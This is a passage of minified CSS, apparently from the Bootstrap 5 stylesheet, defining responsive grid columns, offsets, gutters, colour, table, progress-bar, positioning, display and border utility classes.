auto;width:100%}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.33333333%}.offset-sm-2{margin-left:16.66666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.33333333%}.offset-sm-5{margin-left:41.66666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.33333333%}.offset-sm-8{margin-left:66.66666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.33333333%}.offset-sm-11{margin-left:91.66666667%}.g-sm-0,.gx-sm-0{--bs-gutter-x: 0}.g-sm-0,.gy-sm-0{--bs-gutter-y: 0}.g-sm-1,.gx-sm-1{--bs-gutter-x: 0.25rem}.g-sm-1,.gy-sm-1{--bs-gutter-y: 0.25rem}.g-sm-2,.gx-sm-2{--bs-gutter-x: 0.5rem}.g-sm-2,.gy-sm-2{--bs-gutter-y: 0.5rem}.g-sm-3,.gx-sm-3{--bs-gutter-x: 1rem}.g-sm-3,.gy-sm-3{--bs-gutter-y: 1rem}.g-sm-4,.gx-sm-4{--bs-gutter-x: 1.5rem}.g-sm-4,.gy-sm-4{--bs-gutter-y: 1.5rem}.g-sm-5,.gx-sm-5{--bs-gutter-x: 3rem}.g-sm-5,.gy-sm-5{--bs-gutter-y: 3rem}}@media(min-width: 768px){.col-md{flex:1 0 0}.row-cols-md-auto>*{flex:0 0 auto;width:auto}.row-cols-md-1>*{flex:0 0 auto;width:100%}.row-cols-md-2>*{flex:0 0 auto;width:50%}.row-cols-md-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-md-4>*{flex:0 0 auto;width:25%}.row-cols-md-5>*{flex:0 0 auto;width:20%}.row-cols-md-6>*{flex:0 0 auto;width:16.66666667%}.col-md-auto{flex:0 0 auto;width:auto}.col-md-1{flex:0 0 auto;width:8.33333333%}.col-md-2{flex:0 0 auto;width:16.66666667%}.col-md-3{flex:0 0 auto;width:25%}.col-md-4{flex:0 0 auto;width:33.33333333%}.col-md-5{flex:0 0 auto;width:41.66666667%}.col-md-6{flex:0 0 auto;width:50%}.col-md-7{flex:0 0 auto;width:58.33333333%}.col-md-8{flex:0 0 auto;width:66.66666667%}.col-md-9{flex:0 0 auto;width:75%}.col-md-10{flex:0 0 auto;width:83.33333333%}.col-md-11{flex:0 0 auto;width:91.66666667%}.col-md-12{flex:0 0 auto;width:100%}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.33333333%}.offset-md-2{margin-left:16.66666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.33333333%}.offset-md-5{margin-left:41.66666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.33333333%}.offset-md-8{margin-left:66.66666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.33333333%}.offset-md-11{margin-left:91.66666667%}.g-md-0,.gx-md-0{--bs-gutter-x: 0}.g-md-0,.gy-md-0{--bs-gutter-y: 0}.g-md-1,.gx-md-1{--bs-gutter-x: 0.25rem}.g-md-1,.gy-md-1{--bs-gutter-y: 0.25rem}.g-md-2,.gx-md-2{--bs-gutter-x: 0.5rem}.g-md-2,.gy-md-2{--bs-gutter-y: 0.5rem}.g-md-3,.gx-md-3{--bs-gutter-x: 1rem}.g-md-3,.gy-md-3{--bs-gutter-y: 1rem}.g-md-4,.gx-md-4{--bs-gutter-x: 1.5rem}.g-md-4,.gy-md-4{--bs-gutter-y: 1.5rem}.g-md-5,.gx-md-5{--bs-gutter-x: 3rem}.g-md-5,.gy-md-5{--bs-gutter-y: 3rem}}@media(min-width: 992px){.col-lg{flex:1 0 0}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.66666667%}.col-lg-auto{flex:0 0 auto;width:auto}.col-lg-1{flex:0 0 auto;width:8.33333333%}.col-lg-2{flex:0 0 auto;width:16.66666667%}.col-lg-3{flex:0 0 auto;width:25%}.col-lg-4{flex:0 0 auto;width:33.33333333%}.col-lg-5{flex:0 0 auto;width:41.66666667%}.col-lg-6{flex:0 0 auto;width:50%}.col-lg-7{flex:0 0 auto;width:58.33333333%}.col-lg-8{flex:0 0 auto;width:66.66666667%}.col-lg-9{flex:0 0 auto;width:75%}.col-lg-10{flex:0 0 auto;width:83.33333333%}.col-lg-11{flex:0 0 auto;width:91.66666667%}.col-lg-12{flex:0 0 auto;width:100%}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.33333333%}.offset-lg-2{margin-left:16.66666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.33333333%}.offset-lg-5{margin-left:41.66666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.33333333%}.offset-lg-8{margin-left:66.66666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.33333333%}.offset-lg-11{margin-left:91.66666667%}.g-lg-0,.gx-lg-0{--bs-gutter-x: 0}.g-lg-0,.gy-lg-0{--bs-gutter-y: 0}.g-lg-1,.gx-lg-1{--bs-gutter-x: 0.25rem}.g-lg-1,.gy-lg-1{--bs-gutter-y: 0.25rem}.g-lg-2,.gx-lg-2{--bs-gutter-x: 0.5rem}.g-lg-2,.gy-lg-2{--bs-gutter-y: 0.5rem}.g-lg-3,.gx-lg-3{--bs-gutter-x: 1rem}.g-lg-3,.gy-lg-3{--bs-gutter-y: 1rem}.g-lg-4,.gx-lg-4{--bs-gutter-x: 1.5rem}.g-lg-4,.gy-lg-4{--bs-gutter-y: 1.5rem}.g-lg-5,.gx-lg-5{--bs-gutter-x: 3rem}.g-lg-5,.gy-lg-5{--bs-gutter-y: 3rem}}@media(min-width: 1200px){.col-xl{flex:1 0 0}.row-cols-xl-auto>*{flex:0 0 auto;width:auto}.row-cols-xl-1>*{flex:0 0 auto;width:100%}.row-cols-xl-2>*{flex:0 0 auto;width:50%}.row-cols-xl-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-xl-4>*{flex:0 0 auto;width:25%}.row-cols-xl-5>*{flex:0 0 auto;width:20%}.row-cols-xl-6>*{flex:0 0 auto;width:16.66666667%}.col-xl-auto{flex:0 0 auto;width:auto}.col-xl-1{flex:0 0 auto;width:8.33333333%}.col-xl-2{flex:0 0 auto;width:16.66666667%}.col-xl-3{flex:0 0 auto;width:25%}.col-xl-4{flex:0 0 auto;width:33.33333333%}.col-xl-5{flex:0 0 auto;width:41.66666667%}.col-xl-6{flex:0 0 auto;width:50%}.col-xl-7{flex:0 0 auto;width:58.33333333%}.col-xl-8{flex:0 0 auto;width:66.66666667%}.col-xl-9{flex:0 0 auto;width:75%}.col-xl-10{flex:0 0 auto;width:83.33333333%}.col-xl-11{flex:0 0 auto;width:91.66666667%}.col-xl-12{flex:0 0 auto;width:100%}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333333%}.offset-xl-2{margin-left:16.66666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333333%}.offset-xl-5{margin-left:41.66666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.33333333%}.offset-xl-8{margin-left:66.66666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.33333333%}.offset-xl-11{margin-left:91.66666667%}.g-xl-0,.gx-xl-0{--bs-gutter-x: 0}.g-xl-0,.gy-xl-0{--bs-gutter-y: 0}.g-xl-1,.gx-xl-1{--bs-gutter-x: 0.25rem}.g-xl-1,.gy-xl-1{--bs-gutter-y: 0.25rem}.g-xl-2,.gx-xl-2{--bs-gutter-x: 0.5rem}.g-xl-2,.gy-xl-2{--bs-gutter-y: 0.5rem}.g-xl-3,.gx-xl-3{--bs-gutter-x: 1rem}.g-xl-3,.gy-xl-3{--bs-gutter-y: 1rem}.g-xl-4,.gx-xl-4{--bs-gutter-x: 1.5rem}.g-xl-4,.gy-xl-4{--bs-gutter-y: 1.5rem}.g-xl-5,.gx-xl-5{--bs-gutter-x: 3rem}.g-xl-5,.gy-xl-5{--bs-gutter-y: 3rem}}@media(min-width: 1400px){.col-xxl{flex:1 0 0}.row-cols-xxl-auto>*{flex:0 0 auto;width:auto}.row-cols-xxl-1>*{flex:0 0 auto;width:100%}.row-cols-xxl-2>*{flex:0 0 auto;width:50%}.row-cols-xxl-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-xxl-4>*{flex:0 0 auto;width:25%}.row-cols-xxl-5>*{flex:0 0 auto;width:20%}.row-cols-xxl-6>*{flex:0 0 auto;width:16.66666667%}.col-xxl-auto{flex:0 0 auto;width:auto}.col-xxl-1{flex:0 0 auto;width:8.33333333%}.col-xxl-2{flex:0 0 auto;width:16.66666667%}.col-xxl-3{flex:0 0 auto;width:25%}.col-xxl-4{flex:0 0 auto;width:33.33333333%}.col-xxl-5{flex:0 0 auto;width:41.66666667%}.col-xxl-6{flex:0 0 auto;width:50%}.col-xxl-7{flex:0 0 auto;width:58.33333333%}.col-xxl-8{flex:0 0 auto;width:66.66666667%}.col-xxl-9{flex:0 0 auto;width:75%}.col-xxl-10{flex:0 0 auto;width:83.33333333%}.col-xxl-11{flex:0 0 auto;width:91.66666667%}.col-xxl-12{flex:0 0 auto;width:100%}.offset-xxl-0{margin-left:0}.offset-xxl-1{margin-left:8.33333333%}.offset-xxl-2{margin-left:16.66666667%}.offset-xxl-3{margin-left:25%}.offset-xxl-4{margin-left:33.33333333%}.offset-xxl-5{margin-left:41.66666667%}.offset-xxl-6{margin-left:50%}.offset-xxl-7{margin-left:58.33333333%}.offset-xxl-8{margin-left:66.66666667%}.offset-xxl-9{margin-left:75%}.offset-xxl-10{margin-left:83.33333333%}.offset-xxl-11{margin-left:91.66666667%}.g-xxl-0,.gx-xxl-0{--bs-gutter-x: 0}.g-xxl-0,.gy-xxl-0{--bs-gutter-y: 0}.g-xxl-1,.gx-xxl-1{--bs-gutter-x: 0.25rem}.g-xxl-1,.gy-xxl-1{--bs-gutter-y: 0.25rem}.g-xxl-2,.gx-xxl-2{--bs-gutter-x: 0.5rem}.g-xxl-2,.gy-xxl-2{--bs-gutter-y: 0.5rem}.g-xxl-3,.gx-xxl-3{--bs-gutter-x: 1rem}.g-xxl-3,.gy-xxl-3{--bs-gutter-y: 1rem}.g-xxl-4,.gx-xxl-4{--bs-gutter-x: 1.5rem}.g-xxl-4,.gy-xxl-4{--bs-gutter-y: 1.5rem}.g-xxl-5,.gx-xxl-5{--bs-gutter-x: 3rem}.g-xxl-5,.gy-xxl-5{--bs-gutter-y: 3rem}}.clearfix::after{display:block;clear:both;content:\"\"}.text-bg-primary{color:#fff !important;background-color:RGBA(var(--bs-primary-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-secondary{color:#fff !important;background-color:RGBA(var(--bs-secondary-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-success{color:#fff !important;background-color:RGBA(var(--bs-success-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-info{color:#000 !important;background-color:RGBA(var(--bs-info-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-warning{color:#000 !important;background-color:RGBA(var(--bs-warning-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-danger{color:#fff !important;background-color:RGBA(var(--bs-danger-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-light{color:#000 !important;background-color:RGBA(var(--bs-light-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-dark{color:#fff !important;background-color:RGBA(var(--bs-dark-rgb), var(--bs-bg-opacity, 1)) !important}.link-primary{color:RGBA(var(--bs-primary-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-primary-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-primary:hover,.link-primary:focus{color:RGBA(10, 88, 202, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(10, 88, 202, var(--bs-link-underline-opacity, 1)) !important}.link-secondary{color:RGBA(var(--bs-secondary-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-secondary-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-secondary:hover,.link-secondary:focus{color:RGBA(86, 94, 100, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(86, 94, 100, var(--bs-link-underline-opacity, 1)) !important}.link-success{color:RGBA(var(--bs-success-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-success-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-success:hover,.link-success:focus{color:RGBA(20, 108, 67, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(20, 108, 67, var(--bs-link-underline-opacity, 1)) !important}.link-info{color:RGBA(var(--bs-info-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-info-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-info:hover,.link-info:focus{color:RGBA(61, 213, 243, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(61, 213, 243, var(--bs-link-underline-opacity, 1)) !important}.link-warning{color:RGBA(var(--bs-warning-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-warning-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-warning:hover,.link-warning:focus{color:RGBA(255, 205, 57, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(255, 205, 57, var(--bs-link-underline-opacity, 1)) !important}.link-danger{color:RGBA(var(--bs-danger-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-danger-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-danger:hover,.link-danger:focus{color:RGBA(176, 42, 55, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(176, 42, 55, var(--bs-link-underline-opacity, 1)) !important}.link-light{color:RGBA(var(--bs-light-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-light-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-light:hover,.link-light:focus{color:RGBA(249, 250, 251, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(249, 250, 251, var(--bs-link-underline-opacity, 1)) !important}.link-dark{color:RGBA(var(--bs-dark-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-dark-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-dark:hover,.link-dark:focus{color:RGBA(26, 30, 33, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(26, 30, 33, var(--bs-link-underline-opacity, 1)) !important}.link-body-emphasis{color:RGBA(var(--bs-emphasis-color-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-emphasis-color-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-body-emphasis:hover,.link-body-emphasis:focus{color:RGBA(var(--bs-emphasis-color-rgb), var(--bs-link-opacity, 0.75)) !important;text-decoration-color:RGBA(var(--bs-emphasis-color-rgb), var(--bs-link-underline-opacity, 0.75)) !important}.focus-ring:focus{outline:0;box-shadow:var(--bs-focus-ring-x, 0) var(--bs-focus-ring-y, 0) var(--bs-focus-ring-blur, 0) var(--bs-focus-ring-width) var(--bs-focus-ring-color)}.icon-link{display:inline-flex;gap:.375rem;align-items:center;text-decoration-color:rgba(var(--bs-link-color-rgb), var(--bs-link-opacity, 0.5));text-underline-offset:.25em;backface-visibility:hidden}.icon-link>.bi{flex-shrink:0;width:1em;height:1em;fill:currentcolor;transition:.2s ease-in-out transform}@media(prefers-reduced-motion: reduce){.icon-link>.bi{transition:none}}.icon-link-hover:hover>.bi,.icon-link-hover:focus-visible>.bi{transform:var(--bs-icon-link-transform, translate3d(0.25em, 0, 0))}.ratio{position:relative;width:100%}.ratio::before{display:block;padding-top:var(--bs-aspect-ratio);content:\"\"}.ratio>*{position:absolute;top:0;left:0;width:100%;height:100%}.ratio-1x1{--bs-aspect-ratio: 100%}.ratio-4x3{--bs-aspect-ratio: 75%}.ratio-16x9{--bs-aspect-ratio: 56.25%}.ratio-21x9{--bs-aspect-ratio: 42.8571428571%}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}.sticky-top{position:sticky;top:0;z-index:1020}.sticky-bottom{position:sticky;bottom:0;z-index:1020}@media(min-width: 576px){.sticky-sm-top{position:sticky;top:0;z-index:1020}.sticky-sm-bottom{position:sticky;bottom:0;z-index:1020}}@media(min-width: 768px){.sticky-md-top{position:sticky;top:0;z-index:1020}.sticky-md-bottom{position:sticky;bottom:0;z-index:1020}}@media(min-width: 992px){.sticky-lg-top{position:sticky;top:0;z-index:1020}.sticky-lg-bottom{position:sticky;bottom:0;z-index:1020}}@media(min-width: 1200px){.sticky-xl-top{position:sticky;top:0;z-index:1020}.sticky-xl-bottom{position:sticky;bottom:0;z-index:1020}}@media(min-width: 1400px){.sticky-xxl-top{position:sticky;top:0;z-index:1020}.sticky-xxl-bottom{position:sticky;bottom:0;z-index:1020}}.hstack{display:flex;flex-direction:row;align-items:center;align-self:stretch}.vstack{display:flex;flex:1 1 auto;flex-direction:column;align-self:stretch}.visually-hidden,.visually-hidden-focusable:not(:focus):not(:focus-within){width:1px !important;height:1px !important;padding:0 !important;margin:-1px !important;overflow:hidden !important;clip:rect(0, 0, 0, 0) !important;white-space:nowrap !important;border:0 !important}.visually-hidden:not(caption),.visually-hidden-focusable:not(:focus):not(:focus-within):not(caption){position:absolute !important}.visually-hidden *,.visually-hidden-focusable:not(:focus):not(:focus-within) *{overflow:hidden !important}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;content:\"\"}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.vr{display:inline-block;align-self:stretch;width:var(--bs-border-width);min-height:1em;background-color:currentcolor;opacity:.25}.table{--bs-table-color-type: initial;--bs-table-bg-type: initial;--bs-table-color-state: initial;--bs-table-bg-state: initial;--bs-table-color: var(--bs-emphasis-color);--bs-table-bg: var(--bs-body-bg);--bs-table-border-color: var(--bs-border-color);--bs-table-accent-bg: transparent;--bs-table-striped-color: var(--bs-emphasis-color);--bs-table-striped-bg: rgba(var(--bs-emphasis-color-rgb), 0.05);--bs-table-active-color: var(--bs-emphasis-color);--bs-table-active-bg: rgba(var(--bs-emphasis-color-rgb), 0.1);--bs-table-hover-color: var(--bs-emphasis-color);--bs-table-hover-bg: rgba(var(--bs-emphasis-color-rgb), 0.075);width:100%;margin-bottom:1rem;vertical-align:top;border-color:var(--bs-table-border-color)}.table>:not(caption)>*>*{padding:.5rem .5rem;color:var(--bs-table-color-state, var(--bs-table-color-type, var(--bs-table-color)));background-color:var(--bs-table-bg);border-bottom-width:var(--bs-border-width);box-shadow:inset 0 0 0 9999px var(--bs-table-bg-state, var(--bs-table-bg-type, var(--bs-table-accent-bg)))}.table>tbody{vertical-align:inherit}.table>thead{vertical-align:bottom}.table-group-divider{border-top:calc(var(--bs-border-width)*2) solid currentcolor}.caption-top{caption-side:top}.table-sm>:not(caption)>*>*{padding:.25rem .25rem}.table-bordered>:not(caption)>*{border-width:var(--bs-border-width) 0}.table-bordered>:not(caption)>*>*{border-width:0 var(--bs-border-width)}.table-borderless>:not(caption)>*>*{border-bottom-width:0}.table-borderless>:not(:first-child){border-top-width:0}.table-striped>tbody>tr:nth-of-type(odd)>*{--bs-table-color-type: var(--bs-table-striped-color);--bs-table-bg-type: var(--bs-table-striped-bg)}.table-striped-columns>:not(caption)>tr>:nth-child(even){--bs-table-color-type: var(--bs-table-striped-color);--bs-table-bg-type: var(--bs-table-striped-bg)}.table-active{--bs-table-color-state: var(--bs-table-active-color);--bs-table-bg-state: var(--bs-table-active-bg)}.table-hover>tbody>tr:hover>*{--bs-table-color-state: var(--bs-table-hover-color);--bs-table-bg-state: var(--bs-table-hover-bg)}.table-primary{--bs-table-color: #000;--bs-table-bg: rgb(206.6, 226, 254.6);--bs-table-border-color: rgb(165.28, 180.8, 203.68);--bs-table-striped-bg: rgb(196.27, 214.7, 241.87);--bs-table-striped-color: #000;--bs-table-active-bg: rgb(185.94, 203.4, 229.14);--bs-table-active-color: #000;--bs-table-hover-bg: rgb(191.105, 209.05, 235.505);--bs-table-hover-color: #000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-secondary{--bs-table-color: #000;--bs-table-bg: rgb(225.6, 227.4, 229);--bs-table-border-color: rgb(180.48, 181.92, 183.2);--bs-table-striped-bg: rgb(214.32, 216.03, 217.55);--bs-table-striped-color: #000;--bs-table-active-bg: rgb(203.04, 204.66, 206.1);--bs-table-active-color: #000;--bs-table-hover-bg: rgb(208.68, 210.345, 211.825);--bs-table-hover-color: #000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-success{--bs-table-color: #000;--bs-table-bg: rgb(209, 231, 220.8);--bs-table-border-color: rgb(167.2, 184.8, 176.64);--bs-table-striped-bg: rgb(198.55, 219.45, 209.76);--bs-table-striped-color: #000;--bs-table-active-bg: rgb(188.1, 207.9, 198.72);--bs-table-active-color: #000;--bs-table-hover-bg: rgb(193.325, 213.675, 204.24);--bs-table-hover-color: #000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-info{--bs-table-color: #000;--bs-table-bg: rgb(206.6, 244.4, 252);--bs-table-border-color: rgb(165.28, 195.52, 201.6);--bs-table-striped-bg: rgb(196.27, 232.18, 239.4);--bs-table-striped-color: #000;--bs-table-active-bg: rgb(185.94, 219.96, 226.8);--bs-table-active-color: #000;--bs-table-hover-bg: rgb(191.105, 226.07, 233.1);--bs-table-hover-color: #000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-warning{--bs-table-color: #000;--bs-table-bg: rgb(255, 242.6, 205.4);--bs-table-border-color: rgb(204, 194.08, 164.32);--bs-table-striped-bg: rgb(242.25, 230.47, 195.13);--bs-table-striped-color: #000;--bs-table-active-bg: rgb(229.5, 218.34, 184.86);--bs-table-active-color: #000;--bs-table-hover-bg: rgb(235.875, 224.405, 189.995);--bs-table-hover-color: #000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-danger{--bs-table-color: #000;--bs-table-bg: rgb(248, 214.6, 217.8);--bs-table-border-color: rgb(198.4, 171.68, 174.24);--bs-table-striped-bg: rgb(235.6, 203.87, 206.91);--bs-table-striped-color: #000;--bs-table-active-bg: rgb(223.2, 193.14, 196.02);--bs-table-active-color: #000;--bs-table-hover-bg: rgb(229.4, 198.505, 201.465);--bs-table-hover-color: #000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-light{--bs-table-color: #000;--bs-table-bg: #f8f9fa;--bs-table-border-color: rgb(198.4, 199.2, 200);--bs-table-striped-bg: rgb(235.6, 236.55, 237.5);--bs-table-striped-color: #000;--bs-table-active-bg: rgb(223.2, 224.1, 225);--bs-table-active-color: #000;--bs-table-hover-bg: rgb(229.4, 230.325, 231.25);--bs-table-hover-color: #000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-dark{--bs-table-color: #fff;--bs-table-bg: #212529;--bs-table-border-color: rgb(77.4, 80.6, 83.8);--bs-table-striped-bg: rgb(44.1, 47.9, 51.7);--bs-table-striped-color: #fff;--bs-table-active-bg: rgb(55.2, 58.8, 62.4);--bs-table-active-color: #fff;--bs-table-hover-bg: rgb(49.65, 53.35, 57.05);--bs-table-hover-color: #fff;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-responsive{overflow-x:auto;-webkit-overflow-scrolling:touch}@media(max-width: 575.98px){.table-responsive-sm{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media(max-width: 767.98px){.table-responsive-md{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media(max-width: 991.98px){.table-responsive-lg{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media(max-width: 1199.98px){.table-responsive-xl{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media(max-width: 1399.98px){.table-responsive-xxl{overflow-x:auto;-webkit-overflow-scrolling:touch}}@keyframes progress-bar-stripes{0%{background-position-x:var(--bs-progress-height)}}.progress,.progress-stacked{--bs-progress-height: 1rem;--bs-progress-font-size:0.75rem;--bs-progress-bg: var(--bs-secondary-bg);--bs-progress-border-radius: var(--bs-border-radius);--bs-progress-box-shadow: var(--bs-box-shadow-inset);--bs-progress-bar-color: #fff;--bs-progress-bar-bg: #0d6efd;--bs-progress-bar-transition: width 0.6s ease;display:flex;height:var(--bs-progress-height);overflow:hidden;font-size:var(--bs-progress-font-size);background-color:var(--bs-progress-bg);border-radius:var(--bs-progress-border-radius)}.progress-bar{display:flex;flex-direction:column;justify-content:center;overflow:hidden;color:var(--bs-progress-bar-color);text-align:center;white-space:nowrap;background-color:var(--bs-progress-bar-bg);transition:var(--bs-progress-bar-transition)}@media(prefers-reduced-motion: reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-size:var(--bs-progress-height) var(--bs-progress-height)}.progress-stacked>.progress{overflow:visible}.progress-stacked>.progress>.progress-bar{width:100%}.progress-bar-animated{animation:1s linear infinite progress-bar-stripes}@media(prefers-reduced-motion: reduce){.progress-bar-animated{animation:none}}.align-baseline{vertical-align:baseline !important}.align-top{vertical-align:top !important}.align-middle{vertical-align:middle !important}.align-bottom{vertical-align:bottom !important}.align-text-bottom{vertical-align:text-bottom !important}.align-text-top{vertical-align:text-top !important}.float-start{float:left !important}.float-end{float:right !important}.float-none{float:none !important}.object-fit-contain{object-fit:contain !important}.object-fit-cover{object-fit:cover !important}.object-fit-fill{object-fit:fill !important}.object-fit-scale{object-fit:scale-down !important}.object-fit-none{object-fit:none !important}.opacity-0{opacity:0 !important}.opacity-25{opacity:.25 !important}.opacity-50{opacity:.5 !important}.opacity-75{opacity:.75 !important}.opacity-100{opacity:1 !important}.overflow-auto{overflow:auto !important}.overflow-hidden{overflow:hidden !important}.overflow-visible{overflow:visible !important}.overflow-scroll{overflow:scroll !important}.overflow-x-auto{overflow-x:auto !important}.overflow-x-hidden{overflow-x:hidden !important}.overflow-x-visible{overflow-x:visible !important}.overflow-x-scroll{overflow-x:scroll !important}.overflow-y-auto{overflow-y:auto !important}.overflow-y-hidden{overflow-y:hidden !important}.overflow-y-visible{overflow-y:visible !important}.overflow-y-scroll{overflow-y:scroll !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-block{display:block !important}.d-grid{display:grid !important}.d-inline-grid{display:inline-grid !important}.d-table{display:table !important}.d-table-row{display:table-row !important}.d-table-cell{display:table-cell !important}.d-flex{display:flex !important}.d-inline-flex{display:inline-flex !important}.d-none{display:none !important}.shadow{box-shadow:var(--bs-box-shadow) !important}.shadow-sm{box-shadow:var(--bs-box-shadow-sm) !important}.shadow-lg{box-shadow:var(--bs-box-shadow-lg) !important}.shadow-none{box-shadow:none !important}.focus-ring-primary{--bs-focus-ring-color: rgba(var(--bs-primary-rgb), var(--bs-focus-ring-opacity))}.focus-ring-secondary{--bs-focus-ring-color: rgba(var(--bs-secondary-rgb), var(--bs-focus-ring-opacity))}.focus-ring-success{--bs-focus-ring-color: rgba(var(--bs-success-rgb), var(--bs-focus-ring-opacity))}.focus-ring-info{--bs-focus-ring-color: rgba(var(--bs-info-rgb), var(--bs-focus-ring-opacity))}.focus-ring-warning{--bs-focus-ring-color: rgba(var(--bs-warning-rgb), var(--bs-focus-ring-opacity))}.focus-ring-danger{--bs-focus-ring-color: rgba(var(--bs-danger-rgb), var(--bs-focus-ring-opacity))}.focus-ring-light{--bs-focus-ring-color: rgba(var(--bs-light-rgb), var(--bs-focus-ring-opacity))}.focus-ring-dark{--bs-focus-ring-color: rgba(var(--bs-dark-rgb), var(--bs-focus-ring-opacity))}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:sticky !important}.top-0{top:0 !important}.top-50{top:50% !important}.top-100{top:100% !important}.bottom-0{bottom:0 !important}.bottom-50{bottom:50% !important}.bottom-100{bottom:100% !important}.start-0{left:0 !important}.start-50{left:50% !important}.start-100{left:100% !important}.end-0{right:0 !important}.end-50{right:50% !important}.end-100{right:100% !important}.translate-middle{transform:translate(-50%, -50%) !important}.translate-middle-x{transform:translateX(-50%) !important}.translate-middle-y{transform:translateY(-50%) !important}.border{border:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-0{border:0 !important}.border-top{border-top:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-top-0{border-top:0 !important}.border-end{border-right:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-end-0{border-right:0 !important}.border-bottom{border-bottom:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-bottom-0{border-bottom:0 !important}.border-start{border-left:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-start-0{border-left:0 !important}.border-primary{--bs-border-opacity: 1;border-color:rgba(var(--bs-primary-rgb), var(--bs-border-opacity)) !important}.border-secondary{--bs-border-opacity: 1;border-color:rgba(var(--bs-secondary-rgb), var(--bs-border-opacity)) !important}.border-success{--bs-border-opacity: 1;border-color:rgba(var(--bs-success-rgb), var(--bs-border-opacity)) !important}.border-info{--bs-border-opacity: 1;border-color:rgba(var(--bs-info-rgb), var(--bs-border-opacity)) !important}.border-warning{--bs-border-opacity: 1;border-color:rgba(var(--bs-warning-rgb), var(--bs-border-opacity)) !important}.border-danger{--bs-border-opacity: 